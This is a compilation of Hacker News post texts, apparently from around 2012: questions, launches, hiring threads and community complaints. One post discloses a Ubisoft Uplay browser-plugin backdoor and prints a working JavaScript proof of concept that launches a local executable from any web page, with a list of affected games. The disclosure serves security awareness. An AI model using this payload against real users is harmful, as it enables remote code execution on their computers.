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Title: Hi guys, just came across this crowdsourced social experiment Twitter account: @AYoungerMe<p>There were some really cool Tweets of lessons people would tell their younger selves. However I thought the HN crowd is so smart that I’d like to hear what all of you would tell your younger self, if you had the opportunity. Upvote:
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Title: Direct link to video here: https://vimeo.com/45485034 Upvote:
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Title: This post shows how to fit a probability distribution using the Scipy Library. Upvote:
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Title: First, I guess I should say that I have started five companies. All were successful; two had successful NASDAQ small-cap IPOs.  I have also had a few books published, and spent a number of years as a widely read computer columnist in the 1980s.  Meh.<p>Of late, I have been doing medical technical writing for large medical companies. I'm pretty financially secure, so I only work on short-term contracts, and only when I feel like it. But it does put me in the world of highly skilled contract workers, which is interesting, and the reason for this note.<p>First, I agree with 99% of what you say about entrepreneurship. The one thing that I would add is that people who want to be successful had better be nice people.<p>Smart talented people don't want to work with jerks, no matter what the compensation. Here, of course, we come to Steve Jobs. Steve asked me to come to Apple to write one of two "first books" about the Macintosh. (the other was written by Cary Lu, much missed.). So I spent 1983 at Apple, hanging around, being nosy.  And got to spend quite a bit of time with Steve. That made me want to start my own company…to see if I could do it and succeed. More importantly, it made me want to start a company and not be an asshole, and see if I could succeed. The answer was yes.<p>So it was with some interest that I looked at the job postings for the companies that you are involved with. Of the 12 companies listed, 10 of the openings were for programmers. No surprise.<p>The humor, to me, is in the consistency. They all want really really really really good programmers. Not one company is willing to put forth a salary number, but they all say they offer excellent compensation.  In the bay area, that must be a lot of zeros!<p>And most wave their hands about how hard they work. Get the code?  We intend to work you like a dog. To enrich the founders, of course.<p>And most offer the added incentive of equity. Although only a fool or a recent graduate would fail to realize how easily one can be washed away in later rounds.<p>So here we have greed and capitalism operating in its purest form.  You want to make a lot of money by funding startups. The start ups want to make a lot of money by making things.  But…as you so correctly state, the wealth will primarily be created by the programmers. And they don't have programmers! Or at least not the really really good programmers they need to make a really really big bunch of money.<p>If Marx were alive today...you get the idea.  It is obviously hard to exploit the working class, when the workers you need are so rare and so valuable to your aspirations.  Hence all the frenetic handwaving in the job postings on your site<p>I have a friend. A young man who has an international tea distribution company, which services bubble tea shops, owned by his father and other investors.  He wants business advice. I keep saying: dude, you have an international tea distribution business!  Run with it!<p>But I really like the guy. So I dug deep, to come up with the best business advice I could offer. I finally arrived at this: make sure that everyone who works for you, and everyone who works with you, makes a ton… an absolute boatload of money. Do that, and make sure that they really do, and you will do fine.  No worries. And you will become a better person in the process; which is the only justifiably selfish reason to be in business in the first place.<p>Maybe some of your companies could take those notions into their efforts to hire ditch diggers?<p>Doug Clapp<p>ps -- All this we work really hard bullshit? As if it is a merit badge or something? Your fundees should realize that the very best code written in this century was written for the space shuttle. And the folks who wrote it, without going into too much detail, worked 40 hour weeks. And were not allowed to work more than that. Period. It is no fun to win if you don't play by the rules. A 40 hour week is a good rule. I suspect that a 36 hour week is a better rule. :-) Upvote:
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Title: http://pastebin.com/irj4Fyd5<p>1. COINTELPRO Techniques for dilution, misdirection and control of a internet forum 2. Twenty-Five Rules of Disinformation 3. Eight Traits of the Disinformationalist 4. How to Spot a Spy (Cointelpro Agent) 5. Seventeen Techniques for Truth Suppression Upvote:
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Title: What I'm specifically asking is not tutorials or code academy-like websites. I'm looking for primers/website/books that organize information about computer science and web development, for example: how does the web work? What is a session? What are protocols? The information I'm looking for is the type you learn in a Computer Science class, not something like Udacity. I want to know and why how stuff works, not just "this is how you do it." The reason for this is because I’ve had some entry-level web dev interviews, but I didn’t know enough of the basic foundational questions to get past the 1st round. I attribute it to my lack of formal education in the computer science field. At best I can categorize myself as someone who just hacks code together (I think someone used the analogy on HN, the difference between a cook who cobbles food together and a chef who creates and innovates?).<p>EDIT: Thanks! I've got a lot of information from everyone and I'm going to go through it bit by bit.<p>I realize I wrote a rather misleading question. I am interested in Computer Science and its abstract topics as well as networking/web topics. I want to know what technology I'm working on and how it works, and I want that theoretical background so that I can be a better programmer. Upvote:
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Title: My question: I've found a math degree to pursue, what (1st or 2nd hand experience-based) feedback can you provide as advice?<p>I am thinking of enrolling in this online BA in Mathematics program through Southern New Hampshire University: http://www.snhu.edu/mathematics-BA-online.asp<p>I'm a software engineer already working in the field I want to be in for the next 5-10 years (data logging and analysis).<p>I want to get a degree in math for a couple reasons: a) For me. I've always deep down wanted a degree but couldn't admit it to myself. I would for whatever reason regret it if I never earned a degree. b) When giving people advice around data I would like to train myself around many of the biases we are all so prone to. Learning though on the job in a business intelligence role seems like a very expensive feedback loop. (Imagine making a mistake in a recommendation that costs the company millions of dollars) c) I would like to eventually move into more machine learning and recognize that for now and the foreseeable future statistics and other math will play a HUGE role in that. For jobs in this realm a masters degree is very much encouraged.<p>Some background on me: My company and myself all work remotely so the discipline that an online degree requires isn't at all an issue for me. Also I am a self taught software engineer so I'm looking forward to taking whatever I learn through my courses and building on top of it as much as possible as I go.<p>Just to clarify my question is: I've found a math degree to pursue, what (1st or 2nd hand experience-based) feedback can you provide as advice? Upvote:
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Title: I am making a little study on software developers. I would really like to know more about our profession and I believe you would too. The questions are targeted toward everyday routines and making something similar to this http://www.inc.com/magazine/201109/inc-500-infographic-a-day-in-the-life-of-a-ceo.html If you participate, I will share the results with you and hopefully make a blog post with our daily life habits. I will not be selling you anything during this questionnaire nor requiring any contact. But please, be honest and reduce trolling to achieve good results :). Upvote:
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Title: Great Mac OSX Menu tab app to read Hacker News Upvote:
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Title: Hi PG, I noticed news.ycombinator.com supports both SSL and vanilla HTTP. While savvy users probably have been doing this for years, the login form as well as the comment submission pages are available over vanilla HTTP. This means that if I try to log in on a wireless connection and forget to use the SSL link, anyone can sniff my HN username and password by reading the packets sent between my computer and the wireless router. Passing login credentials over HTTPS is a standard industry best practice (passing auth cookies over HTTPS as well is best, as Firesheep demonstrated).<p>Could you please make the login page available only over SSL? Then I wouldn't have to remember to use the secure link when logging in. Of course all non-logged in visits could continue to use HTTP.<p>Best, Kevin Upvote:
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Title: is there such thing still developers that make desktop apps and making a living out of it ? that is i guess indie small teams not the big companies like adobe Upvote:
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Title: A proper subset of Haskell that compiles to JavaScript. Upvote:
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Title: I feel I need one, especially as I'm going to try and do my first real startup, but I don't know where to find such a person.<p>1) Where do you find this kind of people? Incubators? Posh parties? Shared work spaces? Networking?<p>2) Should the mentor be a person highly experienced? Or just more experienced than me?<p>3) I know it's a bidirectional exchange so I have to provide something to have it. How is this really working?<p>4) And in time scale, how much does a good mentor follow his protegé?<p>Thanks for any suggestion! Upvote:
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Title: There are numerous eBay listings for off-brand Korean monitors boasting 27" IPS panels with 2560x1440 display resolutions. These puppies cost less than $400, or roughly half as much as the name-brand alternatives. We've tested one against a 30" Dell, and a few caveats aside, it's nearly as good. Upvote:
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Title: Ex Oracle/Sun Engineers build this tool that Java developers can use to run their code on multiple platforms including iOS. Beta version is free, so download and check it out! Upvote:
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Title: Hello everyone!<p>I am not an app developer, and I have no plans of becoming one anytime soon. This question is just for my personal curiosity. I was just downloading yet another series of apps (read: addiction) from the App store and I was wondering - can someone who runs an iPhone app company give me a snapshot of their business?<p>How many downloads do you get for your apps each month, and how many paid developers do you have on your team? Do you outsource most of your work or design in-house? Are the margins on apps enough to allow you to run a business?<p>And, I guess most of all: do you enjoy your work? Upvote:
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Title: Is it just me, or twitter seems down/unresponsive Upvote:
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Title: Surely it should be possible to solve this problem. Upvote:
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Title: This is regarding slides by Rob Pike with above title. Every time I go thru this I feel like a moron. I'm not able to to figure out the gist of it. It's well understood that concurrency is decomposition of a complex problem into smaller components. If you cannot correctly divide something into smaller parts, it's hard to solve it using concurrency.<p>But there isn't much detail in slides on how to get parallelism once you've achieved concurrency. In the Lesson slide (num 52), he says Concurrency - "Maybe Even Parallel". But the question is - When and How can concurrency correctly and efficiently lead to Parallelism?<p>My guess is that, under the hood Rob's pointing out that developers should work at the level of concurrency - and parallelism should be language's/vm's concern (gomaxprocs?). Just care about intelligent decomposition into smaller units, concerned only about correct concurrency - parallelism will be take care by the "system".<p>Please shed some light.<p>Slides: http://concur.rspace.googlecode.com/hg/talk/concur.html#title-slide HN Discussion: http://news.ycombinator.com/item?id=3837147 Upvote:
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Title: I've often wondered whether there are any patterns or cycles to my moods so I built a simple iPhone app that occasionally pings me to ask how I'm feeling on a scale of 1 - 10. I also note down what I'm thinking or doing at that moment and automatically grab my location. I use the data to show some basic statistics on how I've been feeling on average over the past three days, past week and since I started tracking. There's also a graph of my moods over time.<p>I'd love to get feedback on whether people would find something like this useful. I'm curious about what other things people would want to track about themselves and interesting things to do with the data.<p>http://itunes.apple.com/us/app/moodtrack/id541505268?mt=8 Upvote:
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Title: If you play one of the games below try clicking on this link (tested with Assassin's Creed on Win7 and FireFox).<p>http://pastehtml.com/view/c6gxl1a79.html<p><pre><code> var x = document.createElement('OBJECT'); x.setAttribute("type", "application/x-uplaypc"); document.body.appendChild(x); x.open("-orbit_product_id 1 -orbit_exe_path QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ== -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play") </code></pre> Ubisoft installs a backdoor that allows any website to take over your computer. The Sony BMG rootkit was also DRM and required product recall when it was discovered.<p>http://en.wikipedia.org/wiki/Ubisoft#Games<p><pre><code> Assassin's Creed II Assassin's Creed: Brotherhood Assassin's Creed: Project Legacy Assassin's Creed Revelations Assassin's Creed III Beowulf: The Game Brothers in Arms: Furious 4 Call of Juarez: The Cartel Driver: San Francisco Heroes of Might and Magic VI Just Dance 3 Prince of Persia: The Forgotten Sands Pure Football R.U.S.E. Shaun White Skateboarding Silent Hunter 5: Battle of the Atlantic The Settlers 7: Paths to a Kingdom Tom Clancy's H.A.W.X. 2 Tom Clancy's Ghost Recon: Future Soldier Tom Clancy's Splinter Cell: Conviction Your Shape: Fitness Evolved</code></pre> Upvote:
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Title: It looks like the site was down for a couple hours. What happened exactly? Upvote:
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Title: well-known venture capitalist John Doerr is backing Coursera, the upstart provider of MOOCs, or massive open online courses, that is working with elite universities. "It's doing something very, very valuable for free, so it's going to scale to be enormous," he said in an interview over the weekend. Upvote:
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Title: Prism is a new lightweight, extensible syntax highlighter, built with modern web standards in mind. Upvote:
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Title: I'm a developer and writing code comes naturally to me. However, I feel that user interface design is a weak area for me and I want to improve. All my UI development is web based, HTML, CSS, and JS. Can you recommend any books or other resources that helped you improve you UI skills? Upvote:
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Title: This is the story of the latest and biggest issue that we have had with Redis. 3scale has a three layer fail-over on different data-centers (Amazon and Rackspace). Turns out that if your Redis write throughput is above 20 Mbps you better watch out or your master will silently crash due to an out of memory. Redis fault? Nope, a simple network I/O bottleneck that was quite a pain to track down. The solution? Compression. Clean, simple and it will save you some (hundreds) of bucks on your Amazon bill. Upvote:
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Title: With a little paint and 2-3 days I recycled this 1910s piano into a work desk. Cost: paint and manual labor to pick up the piano from craigslist.I'm here to answer questions incase you are interested in doing the same. Upvote:
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Title: Much has been made of the Project Butter UI smoothness enhancements built into Android 4.1 Jelly Bean. We've captured them on a high-speed camera and compared the results to a couple of ICS tablets. Upvote:
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Title: It will be interesting to see what this will do to the push ad craze on Android (http://www.appbrain.com/stats/libraries/ad : the #2 and #3 ad networks in terms of apps are push ad networks. This is measured by total number of apps, these ads do much less well on installs as professional developers know better than to include this in their apps.) The new terms only say that it's not allowed to imitate system notifications, but it also says that it must be clear to the user from which app an ad is originating. This is currently not the case with most push ads. Upvote:
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Title: "This account automatically submits a 'Who is Hiring? (Month YYYY Edition)' p'ost at 9 AM Eastern time on the 1st of every month. Upvote:
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Title: Or go directly to https://www.phusionpassenger.com ! Excited to hear what you guys think about it. Upvote:
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Title: Please lead with either SEEKING WORK or SEEKING FREELANCER, your location and whether remote work is a possibility. Upvote:
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Title: Please lead with the location of the position and include the keywords INTERN, REMOTE, or H1B if the corresponding sort of candidate is welcome. Feel free to post any job that may interest HN readers from executive assistant to machine learning expert to CTO.<p><i></i><i>Pardon the technical difficulties this month</i><i></i><p>Also see: "Ask HN: Freelancer? Seeking freelancer?" http://news.ycombinator.com/item?id=4323612 Upvote:
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Title: Given Twitter's capricious enforcement of its API Rules of the Road, their willingness to allegedly crib features from apps in their ecosystem, and increasingly misaligned incentives vis-a-vis 3rd party developers and users, how long is it before this RFS becomes inordinately risky for YC to specifically solicit? Upvote:
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Title: Hey fellow hackers,<p>I am a programmer, but most of my work doesn't involve the web. The most I have done with web design is an EC2 instance running a LAMP stack. I am working on a project right now, but my concern is that I am limited by my 1 server experience? I know the gist of scaling, (traffic routing, memcaching, sharding) but I don't really know how to go about setting it up. How do you even predict if you need to scale like that? Can scaling be done in a modular fashion? I want to learn about web scale :) Any pointers in the right direction would be greatly appreciated. If you could mention the full stack solution and not just one or two technologies that would be good.<p>Thanks in advance! Upvote:
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Title: I've been a lurker at HN for a while and it has greatly motivated me to seriously consider joining a startup. I have been at one of the large software companies for almost a year now (first job after college, good CS school) and I've decided to change jobs before I get too comfortable here.<p>Given the large number of interesting startups, what kind of questions should I be asking, not only the engineers / founders of the startup, but also myself? What are the signs of a healthy startup (funding, background of the founders)? How do I gauge the core principles and culture of a startup?<p>I apologize in advance if some of these questions don't make sense or may even be irrelevant in the pursuit of finding a job at a startup. I also realize different people will have differing opinions about how to evaluate a startup. That would be particularly helpful.<p>Most of the links I came across while searching on google were about investors evaluating startups. I didn't find many opinions on how to evaluate a startup from a job-seeker's perspective.<p>Thanks in advance Upvote:
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Title: A community in Lancashire, England, has taken it upon themselves to dig, lay and build a complete 1 Gbps FTTH network. Members of the community have been able to buy shares to finance the project, and then they've mucked in to carry out all the leg-work themselves, with farmers digging trenches and other locals installing the technology. I find it very inspiring: especially given I live in London and still can't get FTTH. Business plan, videos and info on their website: http://b4rn.org.uk<p>EDIT: title changed from "...DIY Google Fiber project" to "...DIY 1Gbps fibre project" Upvote:
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Title: The best ps2 (PCSX2) emulator is out with new major version Upvote:
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Title: Hi there,<p>I was wondering if anyone has any experience in the job market after learning to code later in life. I'm 37 years old and I have about 4 semesters (probably a year and a half) worth of coding classes with a focus on Java and Android. I think that at the pace that I'm going I will be able to claim some level of expertise by the time I'm 39 or so, but my fear is being to old to be employable.<p>What's your take? Upvote:
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Title: Jut take a look at this thread that is <i>proposing</i> NOT implementing a new design for Wikipedia. http://news.ycombinator.com/item?id=4352290 The presentation is very polite but the HN'feedback'? Woah!<p>The responses even from veteran HNers is nothing short of shocking. I can mildly 'understand' harsh responses from people whose present jobs are to design Wikipedia however, the extremely harsh responses from others is not constructive and leads to no learning whatsoever both for the designers and others.<p>This post is just an example of the latest trend of a new and unusually hostile HN.<p>Not cool. Upvote:
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Title: Nokia sells Qt to Digia Upvote:
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Title: Also has some nice numpy specific stuff for scientific code Upvote:
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Title: I have started learning iOS app development from Apple's developer resources but those look like to be designed for a bit more smart audience. I googled for good iOS tutorials but most of them seem outdated and in no way match the current XCode UI. How do you learn iOS application development? What tutorials did you use? Upvote:
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Title: One of the most brilliant uses of HTML5 I've ever seen. The technique he used to build this is beyond my comprehension at this point, but I'd certainly love to dive into his code (which is available publicly on Github) and figure it all out! Upvote:
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Title: I realize the frontpage has been clogged with launches recently. It's because Demo Day is coming up in a few days. Every batch I tell the startups not to wait till the last minute before launching, but most always do anyway, with the result that there's a glut of launches a week before.<p>The good news is that the flood should be peaking about now. In the meantime, thanks for putting up with it. Although for HN readers the volume of launches probably starts to become an annoyance, for each startup that's launching it's big deal. Upvote:
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Title: I joined Hacker News around 5 years ago. I used to wake up and do the grim commute each morning to London from my home and the only thing that made it vaguely ok was Hacker News. It was a great place to go and find interesting articles from genuinely passionate people. It also used to be a really safe place to launch a startup that you'd spent days, weeks, years on - your project. It was a place where you could launch your startup and know you'd get great constructive feedback. People may not necessarily like your site but they'd admire you for having the balls to launch it, for spending time developing something that you hoped could benefit people in some way. They'd want you to succeed and they'd try and help you succeed with feedback that would ultimately help you. Unfortunately, today's Hacker News audience is no longer the same. Today's Hacker News is a place where users want to snipe at other users and find negative aspects to anything thing submitted. No longer does someone say 'This and this I like but this needs work'. Oh no, now the response is 'Hate this, hate that, this is pointless.'. Hacker News now is about correcting grammar and points scoring. It is pointing out anything negative at all that anyone has done, has said. It is no longer a safe place. It has fast become an acidic forum.<p>I've launched 2 projects (11kclub and Favilous) on here over the last year - both got a similar response. There was nothing constructive, it was just sniping - they saw someone had put themselves up there and they just shot them down. It's a real shame. I hope one day the site returns with the kind of audience it once had. Until that happens, I won't be going on my favourite site anymore - the commute just got a whole lot longer.<p>For now I wish you all the best...<p>Thanks<p>Steve Upvote:
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Title: Heard various stories from international founders - living for 3 months on tourist visas, flying back &#38; forth for office hours but living mainly at home etc - what did you do?<p>Also opened it up as a Quora thread if you want to answer anonymously - http://www.quora.com/Y-Combinator/Foreign-YC-Founders-where-did-you-live-during-the-program<p>Thanks :) Upvote:
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Title: I am building a web crawler to access data to be processed. All the code is fairly high level, so I am drawn to Python, but there are certain bits of it that require data manipulation that is much easier in a C-like language (arrays are a big part of it).<p>Java seems to fit this role very well. It is statically typed, object-oriented, and doesn't delve into memory. However, it seems to get a lot of hate (or, at least, dismissal) from many programming communities, so I am asking, why not Java? Why is it so horrible as a systems language above C? Is there any other language that fits this role in a better way?<p>I am in particular asking this because I have been banging my head against the Python syntax for awhile, but I am trying to expand what languages I can program in. Upvote:
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Title: Hi fellow Hackers,<p>Can I ask for feedback on a new product that I am working on: http://www.hackerfly.com<p>Hackerfly is a SaaS tool providing analysis and insights into the software programming industry.<p>The intention is to give marketers, analysts, developer evangelists, managers and decision makers a simple tool with statistics and quantitative information enabling them to understand software developers better and make more informed decisions regarding software and programming.<p>Currently, we're focusing on StackOveflow as a data source, but in the future we want to add many other relevant (developer-focused) data sources like GitHub, Twitter, etc.<p>- What do you think about the idea and the product?<p>- Is value proposition / offering clear?<p>- What do you think about the pricing model? Would you be willing to pay for this kind of service?<p>- Do you know of any startups doing the same or something similar?<p>- Do you like/dislike the look&#38;feel of the marketing site?<p>Thanks in advance for all your help.<p>ps. You can already sign up and you will receive a personal invitation as soon as we launch private beta tests. Upvote:
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Title: http://aws.amazon.com/glacier/ Upvote:
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Title: Paul,<p>Four months ago, in a thread about crowdfunding (http://news.ycombinator.com/item?id=3893783) you said that "having a very large number of inexperienced investors is the worst scenario possible."<p>FundersClub is a YCS12 company, so I´m curious: what made you change your mind? The whole scenario? A different approach if an entity works like a proxy? Is there any secret sauce you can share? Upvote:
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Title: I had this idea rolling around in my head for the last couple of years, and I finally decided to build the damned thing just to get idea relief.<p>The backend is a typical LAMP stack with the Symfony2 framework backing the P. Varnish sits in front of all the Chef managed Linode boxes. The site will work without Javascript (up until the checkout), and the style degrades really nicely depending on your viewport (try it out by resizing your browser).<p>I'm open to all comments and critiques, so let me hear them. And if you are into graphic t-shirts, here is a code for a Hacker News 20% discount: 4803-7940-0816-5604! Upvote:
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Title: Have been working on this for months, hope you guys will like it. Feel free to share your own side project in the comments. Upvote:
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Title: And, it's "The Sims Social". Haha. Hardcoded.<p>{"blacklist":[144959615576466],"sampleRate":500} ... in http://connect.facebook.net/en_US/all.js<p>Which is: http://facebook.com/144959615576466 aka. https://apps.facebook.com/thesimssocial/<p>Props to @samvj for finding it. (he's sitting here and I said I'd submit) Upvote:
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Title: As I understand it, an "aquihire" is an acquisition of a startup by a large company where the acquirer is not interested in the startup's product, technology or userbase, but only in its employees, who will presumably be shifted to work on the acquirer's own projects while the startup's work is abandoned.<p>The impression I get from HN is that this is fairly common and explained as such employees being very valuable since they have proven the ability to create something.<p>But what is the advantage of a (presumably rather costly - or does it happen only to failed startups with low valuations?) acquihire over simply "poaching" those employees?<p>After all, the employees could leave the acquirer ASAP (especially if there is resentment over the product they had worked on being abandoned), and the founders and early employees (who have proven their ability the most) get a lot of money via their shares, which enables them to go off and do what what they've always dreamed of rather than work for $BIGCORP.<p>Doesn't sound like a good investment to me - so what am I missing? Upvote:
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Title: Watsi is the first global crowdfunding platform for medical care. We'd love your feedback on the site. We just launched it today! Upvote:
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Title: I competed alone in the Netflix Prize in college under the team name "Hi!". I've never seen anybody release their code, and I'm getting back into machine learning now, and realized that some folks might want to take a gander at a competitive machine learning codeset.<p>It's implemented mostly in Python, with Cython for the real speed-sensitive parts (everything in file "svd.pyx" did the heavy lifting, and got me up the leaderboard).<p>I hope that some folks will find this useful. Upvote:
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Title: Could we get out the HN black bar for Neil Armstrong? Upvote:
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Title: Backbone Tutorials isn't up to date, a simple "Backbone tutorial" search brings up results from 2011, early 2012. I need to learn 0.9.2 Backbone, not an older version.<p>Can someone provide me a single resource or multiple great resources to learn Backbone, start to finish (preferably quickly but not mandatory) Upvote:
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Title: Where can a good programmer learn to be a great programmer? How does one go from a builder to a polyglot expert in design patterns, someone who makes beautiful, modular, maintainable code? A coder's coder. Upvote:
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Title: Vanilla JS is a fast, lightweight, cross-platform framework for building incredible, powerful JavaScript applications. Upvote:
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Title: BigScreen is a simple library for using the JavaScript Full Screen API. Upvote:
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Title: At the Hot Chips conference today, AMD CTO Mark Papermaster revealed details about the company's next-gen Steamroller CPU architecture. Steamroller promises to address Bulldozer's shortcomings, and AMD expects a 30% increase in instructions per clock. Upvote:
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Title: If you listen carefully to his interview, from 1:30 for about 2 minutes, the foreman talks about the jury discussing the 460 patent and how it brought him back to his 'Aha' moment.<p>"The software on the Apple side could not be placed into the processor on the prior art and vice versa. That means they are not interchangeable. That changed everything right there."<p>http://www.youtube.com/watch?v=c9cnQcTC2JY<p>That's the reason why prior art was ignored! Upvote:
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Title: I am asking Hacker News for any help or advice they may have to offer. This is our situation:<p>Midnight on Monday we received a termination notice from Apple. The notice vaguely implied 'bad faith' as the reason to terminate our contract.<p>Tuesday morning all our apps were removed from the app store. We represent several small and large publishers, so almost 100 multimedia apps were pulled down.<p>Tuesday midday we call dev relations and get a stone-wall from Apple. Dev relations tells us that they will not give us a reason for the termination.<p>Tuesday afternoon our lawyers get involved. They try to use back channels to get more information, but are also stone-walled. They then inform us that they have a conflict of interest with Apple and cannot represent us as apple will not sign a conflict waiver.<p>Tuesday evening we contact a senior individual within Apple. He informs us that our account is clean in the app store records and there are no complaints against us and that Legal has requested the termination. Legal will not provide a response.<p>Our company employs almost 100 people and relies heavily on the iTunes App Store as a major source of income. We also work with Google, Blackberry, Nokia, Windows 7 and several other app stores and have never been treated in this way.<p>I'm in shock that Apple has unilaterally terminated our business relationship. Does anyone have any experience with this situation or any advice? Upvote:
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Title: I'm most interested in opinions from xooglers. From what I see it's still a great company and great place to work. Some xooglers seem to think it's lost its luster. I'm trying to collect all opinions; I'm expecting an offer today. Upvote:
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Title: Please lead with the location of the position and include the keywords INTERN, REMOTE, or H1B if the corresponding sort of candidate is welcome. Feel free to post any job that may interest HN readers from executive assistant to machine learning expert to CTO.<p>Pardon the technical difficulties this month<p>Also see: "Ask HN: Freelancer? Seeking freelancer?" http://news.ycombinator.com/item?id=4463692 Upvote:
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Title: Please lead with either SEEKING WORK or SEEKING FREELANCER, your location and whether remote work is a possibility. Upvote:
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Title: I run Ubuntu on an MacBook Pro and on an old Toshiba. I don't want to give Apple anymore of my money so I am looking for something like a MacBook Air, SSD drive, etc. Suggestions based on your own experience? Upvote:
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Title: With CORS you can now easily build web applications that use JavaScript and HTML5 to interact with resources in Amazon S3, enabling you to implement HTML5 drag and drop uploads to Amazon S3, show upload progress, or update content. Upvote:
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Title: Some thoughts on nautilus file manager Upvote:
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Title: http://hiphopblend.com<p>The website is responsive, so check it out on tablet/mobile, too! I'm currently working on adding more features to the website. It's my first official project since I started to learn programming (PHP). I would love to get an audio player in the site, which would scrape the blogs for new audio, but I'm having some difficult getting there. I really appreciate any feedback about the site at all!<p>A little about me: I've been making Wordpress sites at a digital agency for almost 9 months now (from scratch). A few months ago I became really interested in learning programming. Prior to this, I didn't really see the point. I have to thank a friend of mine to helping me get started. My HTML/CSS skills are pretty high and I wanted to take it further. Making websites has always been a hobby, but I went into music in college. Graduation came and there was an opening for a Wordpress developer at a small company. I took a shot at the interview, taught myself to make custom themes by looking at their old dev's source code and now I am where I am today. I like the direction I'm headed. I'm in metro Detroit and dream of working out in Cali one day. Enjoy! Upvote:
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Title: The last thread by the same name got a lot of attention, but seeing as it's over a year old it would be interesting to hear from new people and also get updates from some people who posted in the previous thread.<p>Previous thread: https://news.ycombinator.com/item?id=2567487 Upvote:
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Title: Hope most of you are using LESS or something similar (SASS). I've found it to be a dramatic boost in productivity.<p>Let me know what you think. Thanks. Upvote:
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Title: Hi, I'm thinking about doing some freelance web design and marketing for a bit of extra cash.<p>Aside from cold calls what are some good ways to obtain clients? Upvote:
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Title: This week we're kicking off the Mesos User Group here at Airbnb. Ben Hindman, lead engineer Mesos at Twitter will dive into the Mesos design and outline how it's used at Twitter. Airbnb will provide food and drinks. Upvote:
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Title: Not mine,found it on reddit.I submitted this here because I thought it might be useful to some people.<p>Here is the original link: http://www.reddit.com/r/Python/comments/zbwme/is_anyone_interested_in_the_python_cheat_sheet_i/ Upvote:
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Title: While not as horrifyingly Orwellian as it could be, the fact that the biggest company in U.S. history makes decisions about which content is too "objectionable" for its customers is unsettling. Upvote:
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Title: How did you get on TC, RWW etc? Did you know your journalist before pitching him/her? How many signups/users/downloads did the post refer? How did it affect the future of your startup? Upvote:
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Title: This is a non-friendly reminder to all startups and marketing people. If you are sending me an email and it does not have an unsubscribe link that meets the following rule (as of 2008 FTC ruling on CAN-SPAM act of 2003) then you are breaking the law:<p>to submit a valid opt-out request, a recipient cannot be required to pay a fee, provide information other than his or her email address and opt-out preferences, or take any steps other than sending a reply email message or visiting a single page on an Internet website<p>source: http://www.ftc.gov/os/2008/05/R411008frn.pdf<p>Note: if you are not telling me about a financial transaction we made, our email is not transactional and STILL must follow that ruling. Upvote:
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Title: Last week we laid down a bitter ultimatum to the guardians of the cookie law: Go Ahead And Sue Us. We stripped our sites bare of cookie warnings and begged them to do their worst. Upvote:
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Title: Canonical’s recent efforts to promote desktop Ubuntu on the workstations of large organizations have focused primarily on the business world. But perhaps the company’s greatest prospects lie in the education channel. That’s where 220,000 Ubuntu-based PCs are now running in Andalusia, Spain. Here are the details, and what they say about desktop Linux’s viability in the education market. ... Upvote:
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Title: Here’s a comparison chart I made to compare the different reasons to choose AT&#38;T, Sprint, or Verizon as your carrier for the iPhone 5. Upvote:
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Title: Hi, I'm a techy business dev. working for an app development company in Cape Town, South Africa.<p>I'll be in New York City on Thursday 27th and Friday 28th September; and would love to visit any New York based tech companies.<p>If you're doing something interesting; have a great startup culture that I could learn from; or just feel like chatting to someone from the tip of Africa - please let me know!<p>Any referrals or introductions would also be sincerely appreciated!<p>More info about me here: http://nicksmit.co.za or http://touchlab.co.za You can also get in touch with me here: @nickste<p>edit: I'd really like to visit FourSquare - I'm really interested in what they're doing in the mobile space - so please let me know if you've got any contacts! Upvote:
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Title: (using a throwaway account)<p>I'm in the middle of a very painful job search in London and here for help. My background is Java, I used it for 10 years in a very latency- and performance-critical environments, so I can say I'm very familiar with the nuts and bolts of language and the JVM. As any HN oldie, I know that just doing your job is not often enough, so in parallel I launched my own iPhone app (which as of today grew to 20 KLOC of C and Objective-C) that was covered by major news outlets and featured by Apple themselves in the Education category. I'm very proud of the work I've done. I can do Python (wrote a Twisted-based backend for collaborative app) and Haskell (when asked, can code on a whiteboard). I did Andrew Ng's course online last year. I REALLY can deliver.<p>At the moment, I work for a major bank in a position that drives me nuts. Everything about this job is wrong but most important is that I don't feel that I use my skills at all. I started my job hunt this spring, applied to all attractive companies I know of in London and pinged every available contact in my network.<p>The results were underwhelming. Google UK rejected me after an on-site interview. Twitter UK were hiring for a very relevant position but listed Scala as a requirement — I wrote a small RE matcher in Scala in a few hours and sent the code and my resume directly to their engineering manager whose contact I got from my network. No reply. Facebook UK and Amazon UK didn't want to even do a screening interview with me. 90% of other companies didn't bother replying. As a net result I got one offer from a startup I liked but refused it because I didn't feel we're on the same wavelength with the founder who interviewed me.<p>I'm pretty desperate at this moment and feel that I'm doing something wrong. If you're running a cool software company, what do you think a senior guy from a major bank must write in his resume to stop you from shredding it on the spot? Thank you for any advice. Upvote:
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Title: Five years ago today this was the top item on HN (http://news.ycombinator.com/item?id=55974): <i>Post novel startup ideas as comments and see how many karma points it receives. Who knows, one might be developed and you can take credit for thinking of the idea first.</i>. It had some interesting ideas, some of which are solved or obsolete. Thought it might be fun to do this again.<p>(I run Wayback Letter, so that is how I know this odd bit of information - http://www.waybackletter.com/archive/daily/09-18-2012.html). Upvote:
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Title: Source here: http://plnkr.co/edit/IfpBH4<p>This was as big as I could get it before my computer started to grind to a halt, but it's more of a demo of how little code it takes to do this sort of thing in AngularJS than anything else.<p>Took me away from building http://goodfil.ms for about 40 minutes all up. Upvote:
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Title: This is the email they've been sending out to users:<p>Dear robgough,<p>In recent weeks, Twitter announced policy changes* that will affect how applications and users like yourself can interact with Twitter's data. As a result of these changes, on September 27th we will be removing all Twitter Triggers, disabling your ability to push tweets to places like email, Evernote and Facebook. All Personal and Shared Recipes using a Twitter Trigger will also be removed. Recipes using Twitter Actions and your ability to post new tweets via IFTTT will continue to work just fine.<p>At IFTTT, first and foremost, we want to empower anyone to create connections between literally anything. We've still got a long way to go, and to get there we need to make sure that the types of connections that IFTTT enables are aligned with how the original creators want their tools and services to be used.<p>We at IFTTT are big Twitter fans and, like yourself, we've gotten a lot of value out of the Recipes that use Twitter Triggers. We're sad to see them go, but remain excited to build features that work within Twitter's new policy. Thank you for your support and for understanding these upcoming changes. If you have any questions or concerns, please contact us at [email protected].<p>Linden Tibbets IFTTT CEO<p>*These Twitter policy changes specifically disallow uploading Twitter Content to a "cloud based service" (Section 4A https://dev.twitter.com/terms/api-terms) and include stricter enforcement of the Developer Display Requirements (https://dev.twitter.com/terms/display-requirements). Upvote:
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Title: We think backtesting is too difficult, this is our attempt to make it much easier and more fun - let us know what you think! Upvote:
